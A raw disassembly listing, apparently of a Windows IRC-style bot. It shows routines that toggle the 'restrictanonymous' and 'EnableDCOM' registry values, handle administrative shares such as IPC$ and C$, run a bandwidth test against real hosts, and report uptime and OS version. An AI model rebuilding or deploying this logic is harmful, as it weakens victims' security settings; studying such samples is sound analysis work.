asc_450F84 ; "-" loc_41ADCF: ; CODE XREF: sub_41AD5D+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E30D4 ; RegCloseKey jmp short loc_41ADFB ; --------------------------------------------------------------------------- loc_41ADE8: ; CODE XREF: sub_41AD5D+36j lea eax, [ebp+Dest] push offset asc_450FA4 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41ADFB: ; CODE XREF: sub_41AD5D+89j cmp [ebp+arg_C], edi jnz short loc_41AE1A push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41AE1A: ; CODE XREF: sub_41AD5D+A1j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E3168 ; RegOpenKeyExA test eax, eax jnz short loc_41AE88 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], 1 call dword_4E311C ; RegSetValueExA test eax, eax jz short loc_41AE6A push offset dword_450FE8 jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6A: ; CODE XREF: sub_41AD5D+104j push offset asc_451024 ; "-" loc_41AE6F: ; CODE XREF: sub_41AD5D+10Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E30D4 ; RegCloseKey jmp short loc_41AEA2 ; --------------------------------------------------------------------------- loc_41AE88: ; CODE XREF: sub_41AD5D+E2j push offset dword_451058 jmp short loc_41AE94 ; --------------------------------------------------------------------------- loc_41AE8F: ; CODE XREF: sub_41AD5D+13j push offset asc_451094 ; "-" loc_41AE94: ; CODE XREF: sub_41AD5D+130j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41AEA2: ; CODE XREF: sub_41AD5D+129j cmp [ebp+arg_C], edi jnz short loc_41AEC1 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41AEC1: ; CODE XREF: sub_41AD5D+148j lea eax, [ebp+Dest] push eax call sub_415C3F cmp dword_4E31F0, edi pop ecx jnz loc_41B03C push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41AEE4: ; CODE XREF: sub_41AD5D+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+Str] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4E303C cmp eax, edi mov [ebp+var_10], eax jz short loc_41AF81 cmp eax, 0EAh jz short loc_41AF81 mov esi, offset off_450F10 loc_41AF15: ; CODE XREF: sub_41AD5D+21Dj push dword ptr [esi] push edi call sub_419B38 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41AF2C push offset dword_451114 jmp short loc_41AF31 ; --------------------------------------------------------------------------- loc_41AF2C: ; CODE XREF: sub_41AD5D+1C6j push offset asc_451138 ; "-" loc_41AF31: ; CODE XREF: sub_41AD5D+1CDj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41AF64 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41AF64: ; CODE XREF: sub_41AD5D+1EBj lea eax, [ebp+Dest] push eax call sub_415C3F add esi, 8 pop ecx cmp esi, offset aIpc ; "IPC$" jb short loc_41AF15 jmp loc_41B019 ; --------------------------------------------------------------------------- loc_41AF81: ; CODE XREF: sub_41AD5D+1AAj ; sub_41AD5D+1B1j mov esi, dword ptr [ebp+Str] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41B010 loc_41AF90: ; CODE XREF: sub_41AD5D+2AFj mov edi, [esi] push edi ; Str call _wcslen cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41B005 push edi call sub_419A25 push eax push 0 call sub_419B38 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41AFBF push offset dword_4510C4 jmp short loc_41AFC4 ; --------------------------------------------------------------------------- loc_41AFBF: ; CODE XREF: sub_41AD5D+259j push offset asc_4510E8 ; "-" loc_41AFC4: ; CODE XREF: sub_41AD5D+260j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41AFF8 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41AFF8: ; CODE XREF: sub_41AD5D+27Fj lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx loc_41B005: ; CODE XREF: sub_41AD5D+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41AF90 xor edi, edi loc_41B010: ; CODE XREF: sub_41AD5D+22Dj push dword ptr [ebp+Str] call dword_4E3188 loc_41B019: ; CODE XREF: sub_41AD5D+21Fj cmp [ebp+var_10], 0EAh jz loc_41AEE4 lea eax, [ebp+Dest] push offset asc_451164 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx pop ebx jmp short loc_41B04F ; --------------------------------------------------------------------------- loc_41B03C: ; CODE XREF: sub_41AD5D+177j lea eax, [ebp+Dest] push offset asc_45118C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B04F: ; CODE XREF: sub_41AD5D+2DDj cmp [ebp+arg_C], edi jnz short loc_41B06D push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B06D: ; CODE XREF: sub_41AD5D+2F5j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push 1 pop eax pop edi pop esi leave retn sub_41AD5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B081 proc near ; CODE XREF: sub_41ACFD:loc_41AD44p Dest = byte ptr -220h var_20 = dword ptr -20h var_14 = byte ptr -14h Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp dword_4E31C8, edi jnz loc_41B1AF lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E3168 ; RegOpenKeyExA test eax, eax jnz short loc_41B10C mov ax, word_4511BC mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call dword_4E311C ; RegSetValueExA test eax, eax jz short loc_41B0EE push offset dword_4511CC jmp short loc_41B0F3 ; --------------------------------------------------------------------------- loc_41B0EE: ; CODE XREF: sub_41B081+64j push offset asc_4511F0 ; "-" loc_41B0F3: ; CODE XREF: sub_41B081+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E30D4 ; RegCloseKey jmp short loc_41B11F ; --------------------------------------------------------------------------- loc_41B10C: ; CODE XREF: sub_41B081+36j lea eax, [ebp+Dest] push offset asc_45120C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B11F: ; CODE XREF: sub_41B081+89j cmp [ebp+arg_C], edi jnz short loc_41B13E push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B13E: ; CODE XREF: sub_41B081+A1j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E3168 ; RegOpenKeyExA test eax, eax jnz short loc_41B1A8 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], edi call dword_4E311C ; RegSetValueExA test eax, eax jz short loc_41B18A push offset dword_451250 jmp short loc_41B18F ; --------------------------------------------------------------------------- loc_41B18A: ; CODE XREF: sub_41B081+100j push offset asc_451290 ; "-" loc_41B18F: ; CODE XREF: sub_41B081+107j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4E30D4 ; RegCloseKey jmp short loc_41B1C2 ; --------------------------------------------------------------------------- loc_41B1A8: ; CODE XREF: sub_41B081+E2j push offset dword_4512C8 jmp short loc_41B1B4 ; --------------------------------------------------------------------------- loc_41B1AF: ; CODE XREF: sub_41B081+13j push offset asc_451304 ; "-" loc_41B1B4: ; CODE XREF: sub_41B081+12Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41B1C2: ; CODE XREF: sub_41B081+125j cmp [ebp+arg_C], edi jnz short loc_41B1E1 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B1E1: ; CODE XREF: sub_41B081+144j lea eax, [ebp+Dest] push eax call sub_415C3F cmp dword_4E31F0, edi pop ecx jnz loc_41B356 mov esi, offset off_450F10 loc_41B1FF: ; CODE XREF: sub_41B081+1E7j push dword ptr [esi+4] ; int push dword ptr [esi] ; Str push edi ; int call sub_419A8C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41B21A push offset dword_451334 jmp short loc_41B21F ; --------------------------------------------------------------------------- loc_41B21A: ; CODE XREF: sub_41B081+190j push offset asc_451354 ; "-" loc_41B21F: ; CODE XREF: sub_41B081+197j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41B252 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B252: ; CODE XREF: sub_41B081+1B5j lea eax, [ebp+Dest] push eax call sub_415C3F add esi, 8 pop ecx cmp esi, offset off_450F20 jb short loc_41B1FF push ebx call ds:dword_4F5464 ; GetLogicalDrives mov edi, eax mov bl, 41h test edi, edi jz loc_41B33E loc_41B27D: ; CODE XREF: sub_41B081+2B7j mov eax, edi and eax, 1 cmp al, 1 jnz loc_41B334 cmp bl, 41h jz loc_41B334 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_20] push eax call dword_4E3158 ; GetDriveTypeA cmp eax, 3 jnz short loc_41B334 lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+var_14] push eax ; Str push 0 ; int call sub_419A8C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41B2EE push offset dword_451388 jmp short loc_41B2F3 ; --------------------------------------------------------------------------- loc_41B2EE: ; CODE XREF: sub_41B081+264j push offset asc_4513A8 ; "-" loc_41B2F3: ; CODE XREF: sub_41B081+26Bj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41B327 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B327: ; CODE XREF: sub_41B081+28Aj lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx loc_41B334: ; CODE XREF: sub_41B081+203j ; sub_41B081+20Cj ... inc bl shr edi, 1 jnz loc_41B27D loc_41B33E: ; CODE XREF: sub_41B081+1F6j lea eax, [ebp+Dest] push offset asc_4513D0 ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx pop ebx jmp short loc_41B369 ; --------------------------------------------------------------------------- loc_41B356: ; CODE XREF: sub_41B081+173j lea eax, [ebp+Dest] push offset asc_4513F4 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41B369: ; CODE XREF: sub_41B081+2D3j cmp [ebp+arg_C], edi jnz short loc_41B387 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_41B387: ; CODE XREF: sub_41B081+2EBj lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push 1 pop eax pop edi pop esi leave retn sub_41B081 endp ; =============== S U B R O U T I N E ======================================= sub_41B39B proc near ; CODE XREF: sub_41B592+CBp ; sub_41B592+DDp ... arg_0 = dword ptr 4 call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq idiv [esp+arg_0] mov eax, edx retn sub_41B39B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B3B5(char *Str) sub_41B3B5 proc near ; CODE XREF: sub_41B592+D4p ; sub_41B592+E6p ... var_38 = dword ptr -38h Dst = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+Str] ; Str call _strlen mov esi, 0FFh pop ecx cmp eax, esi ja loc_41B58E push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset push [ebp+Str] mov [ebp+Dst], 2 call sub_40AE55 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41B58E push 50h call dword_4E30F8 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4E3178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41B58E lea ecx, [ebp+Dst] push 10h push ecx push eax call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jz loc_41B58E push 32003h ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) mov edi, ds:dword_4F537C mov ebx, eax pop ecx mov [ebp+Memory], ebx call edi ; GetTickCount push eax ; Seed call _srand call _rand cdq idiv esi mov [esp+38h+var_38], 32001h push 0 ; Val push ebx ; Dst movsx esi, dl call _memset push 32000h ; Size push esi ; Val push ebx ; Dst call _memset push ebx ; Str call _strlen push 323EAh ; unsigned int mov ebx, eax call ??2@YAPAXI@Z ; operator new(uint) add esp, 20h mov esi, eax push ebx push [ebp+Str] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi ; Dest call _sprintf push [ebp+Memory] ; Source push esi ; Dest call _strcat push offset asc_451458 ; "\r\n" push esi ; Dest call _strcat push esi ; Str call _strlen mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+Str], eax jbe short loc_41B50E mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41B4DE ; --------------------------------------------------------------------------- loc_41B4DB: ; CODE XREF: sub_41B3B5+157j mov eax, [ebp+Str] loc_41B4DE: ; CODE XREF: sub_41B3B5+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41B4EE push [ebp+var_C] jmp short loc_41B4EF ; --------------------------------------------------------------------------- loc_41B4EE: ; CODE XREF: sub_41B3B5+132j push ebx loc_41B4EF: ; CODE XREF: sub_41B3B5+137j add eax, esi push eax push [ebp+var_4] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jz short loc_41B575 add [ebp+Str], ebx sub [ebp+var_C], ebx mov eax, [ebp+Str] cmp eax, [ebp+var_10] jb short loc_41B4DB loc_41B50E: ; CODE XREF: sub_41B3B5+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_43C4F4 fst [ebp+Str] fcomp ds:flt_43C4F0 fnstsw ax sahf jnz short loc_41B536 fld1 fstp [ebp+Str] loc_41B536: ; CODE XREF: sub_41B3B5+17Aj push [ebp+var_4] call dword_4E3190 ; closesocket push [ebp+Memory] ; Memory call _free push esi ; Memory call _free mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+Str] fmul ds:flt_43C4EC fmul ds:flt_43C4E8 call __ftol loc_41B570: ; CODE XREF: sub_41B3B5+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B575: ; CODE XREF: sub_41B3B5+149j push [ebp+var_4] call dword_4E3190 ; closesocket push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx loc_41B58E: ; CODE XREF: sub_41B3B5+19j ; sub_41B3B5+42j ... xor eax, eax jmp short loc_41B570 sub_41B3B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B592(int,char *Str,int) sub_41B592 proc near ; CODE XREF: sub_401CC7+2E52p Dest = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41B39B push [ebp+eax*4+var_3C] ; Str call sub_41B3B5 push 8 mov esi, eax call sub_41B39B push [ebp+eax*4+var_3C] ; Str call sub_41B3B5 add esp, 10h test esi, esi jz short loc_41B693 test eax, eax jz short loc_41B68F lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41B695 ; --------------------------------------------------------------------------- loc_41B68F: ; CODE XREF: sub_41B592+F4j mov ebx, esi jmp short loc_41B695 ; --------------------------------------------------------------------------- loc_41B693: ; CODE XREF: sub_41B592+F0j mov ebx, eax loc_41B695: ; CODE XREF: sub_41B592+FBj ; sub_41B592+FFj push 0Ch call sub_41B39B push [ebp+eax*4+var_6C] ; Str call sub_41B3B5 push 0Ch mov edi, eax call sub_41B39B push [ebp+eax*4+var_6C] ; Str call sub_41B3B5 add esp, 10h test edi, edi jz short loc_41B6CD test eax, eax jz short loc_41B6C9 lea esi, [eax+edi] shr esi, 1 jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C9: ; CODE XREF: sub_41B592+12Ej mov esi, edi jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CD: ; CODE XREF: sub_41B592+12Aj mov esi, eax loc_41B6CF: ; CODE XREF: sub_41B592+135j ; sub_41B592+139j push 6 call sub_41B39B push [ebp+eax*4+var_1C] ; Str call sub_41B3B5 push 6 mov edi, eax call sub_41B39B push [ebp+eax*4+var_1C] ; Str call sub_41B3B5 add esp, 10h test edi, edi jz short loc_41B707 test eax, eax jz short loc_41B703 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41B709 ; --------------------------------------------------------------------------- loc_41B703: ; CODE XREF: sub_41B592+168j mov ecx, edi jmp short loc_41B709 ; --------------------------------------------------------------------------- loc_41B707: ; CODE XREF: sub_41B592+164j mov ecx, eax loc_41B709: ; CODE XREF: sub_41B592+16Fj ; sub_41B592+173j xor eax, eax test ebx, ebx jz short loc_41B716 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41B719 ; --------------------------------------------------------------------------- loc_41B716: ; CODE XREF: sub_41B592+17Bj push 2 pop edi loc_41B719: ; CODE XREF: sub_41B592+182j test esi, esi jz short loc_41B721 add eax, esi jmp short loc_41B722 ; --------------------------------------------------------------------------- loc_41B721: ; CODE XREF: sub_41B592+189j dec edi loc_41B722: ; CODE XREF: sub_41B592+18Dj test ecx, ecx jz short loc_41B72A add eax, ecx jmp short loc_41B72B ; --------------------------------------------------------------------------- loc_41B72A: ; CODE XREF: sub_41B592+192j dec edi loc_41B72B: ; CODE XREF: sub_41B592+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+Dest] push offset asc_451608 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 30h pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B76F proc near ; CODE XREF: sub_401CC7+2591p ; sub_401CC7+2A01p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset byte_4F34B8 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41B76F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7D8 proc near ; CODE XREF: sub_417A8B+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4F539C ; GetVersionExA test eax, eax jz short loc_41B86B cmp [ebp+var_90], 4 jnz short loc_41B841 cmp [ebp+var_8C], esi jnz short loc_41B829 cmp [ebp+var_84], 1 jnz short loc_41B81C push 1 pop esi loc_41B81C: ; CODE XREF: sub_41B7D8+3Fj cmp [ebp+var_84], 2 jnz short loc_41B86B push 1 jmp short loc_41B86A ; --------------------------------------------------------------------------- loc_41B829: ; CODE XREF: sub_41B7D8+36j cmp [ebp+var_8C], 0Ah jnz short loc_41B836 loc_41B832: ; CODE XREF: sub_41B7D8+78j push 2 jmp short loc_41B86A ; --------------------------------------------------------------------------- loc_41B836: ; CODE XREF: sub_41B7D8+58j cmp [ebp+var_8C], 5Ah jnz short loc_41B86B jmp short loc_41B85B ; --------------------------------------------------------------------------- loc_41B841: ; CODE XREF: sub_41B7D8+2Ej cmp [ebp+var_90], 5 jnz short loc_41B86B cmp [ebp+var_8C], esi jz short loc_41B832 cmp [ebp+var_8C], 1 jnz short loc_41B85F loc_41B85B: ; CODE XREF: sub_41B7D8+67j push 3 jmp short loc_41B86A ; --------------------------------------------------------------------------- loc_41B85F: ; CODE XREF: sub_41B7D8+81j cmp [ebp+var_8C], 2 jnz short loc_41B86B push 7 loc_41B86A: ; CODE XREF: sub_41B7D8+4Fj ; sub_41B7D8+5Cj ... pop esi loc_41B86B: ; CODE XREF: sub_41B7D8+25j ; sub_41B7D8+4Bj ... mov eax, esi pop esi leave retn sub_41B7D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B870 proc near ; CODE XREF: sub_41B92C+290p push ebx push esi push edi mov esi, 0F4240h loc_41B878: ; CODE XREF: sub_41B870+35j ; sub_41B870+3Bj call sub_41BCA2 push 3E8h mov edi, eax mov ebx, edx call ds:dword_4F534C ; Sleep call sub_41BCA2 sub eax, edi push 0 sbb edx, ebx push esi push edx push eax call __aulldiv mov edi, edx mov ebx, eax test edi, edi ja short loc_41B878 jb short loc_41B8AD cmp ebx, esi ja short loc_41B878 loc_41B8AD: ; CODE XREF: sub_41B870+37j push 0 push 64h push edi push ebx call __aullrem mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41B920 jb short loc_41B8CC cmp esi, 50h jnb short loc_41B8D1 loc_41B8CC: ; CODE XREF: sub_41B870+55j push 4Bh xor edx, edx pop eax loc_41B8D1: ; CODE XREF: sub_41B870+5Aj test ecx, ecx ja short loc_41B920 jb short loc_41B8DC cmp esi, 47h jnb short loc_41B8E1 loc_41B8DC: ; CODE XREF: sub_41B870+65j push 42h xor edx, edx pop eax loc_41B8E1: ; CODE XREF: sub_41B870+6Aj test ecx, ecx ja short loc_41B920 jb short loc_41B8EC cmp esi, 37h jnb short loc_41B8F1 loc_41B8EC: ; CODE XREF: sub_41B870+75j push 32h xor edx, edx pop eax loc_41B8F1: ; CODE XREF: sub_41B870+7Aj test ecx, ecx ja short loc_41B920 jb short loc_41B8FC cmp esi, 26h jnb short loc_41B901 loc_41B8FC: ; CODE XREF: sub_41B870+85j push 21h xor edx, edx pop eax loc_41B901: ; CODE XREF: sub_41B870+8Aj test ecx, ecx ja short loc_41B920 jb short loc_41B90C cmp esi, 1Eh jnb short loc_41B911 loc_41B90C: ; CODE XREF: sub_41B870+95j push 19h xor edx, edx pop eax loc_41B911: ; CODE XREF: sub_41B870+9Aj test ecx, ecx ja short loc_41B920 jb short loc_41B91C cmp esi, 0Ah jnb short loc_41B920 loc_41B91C: ; CODE XREF: sub_41B870+A5j xor eax, eax xor edx, edx loc_41B920: ; CODE XREF: sub_41B870+53j ; sub_41B870+63j ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41B870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B92C proc near ; CODE XREF: sub_401CC7+275Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h FullPath = byte ptr -4E8h var_3E4 = byte ptr -3E4h Dest = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Dst = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Drive = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_4F34F0 mov [ebp+var_CC], 94h call ds:dword_4F539C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B9B3 cmp [ebp+var_C4], ebx jnz short loc_41B98F cmp [ebp+var_BC], 1 jnz short loc_41B979 mov [ebp+var_4], offset a95_0 ; "95" loc_41B979: ; CODE XREF: sub_41B92C+44j cmp [ebp+var_BC], 2 jnz loc_41BA2E 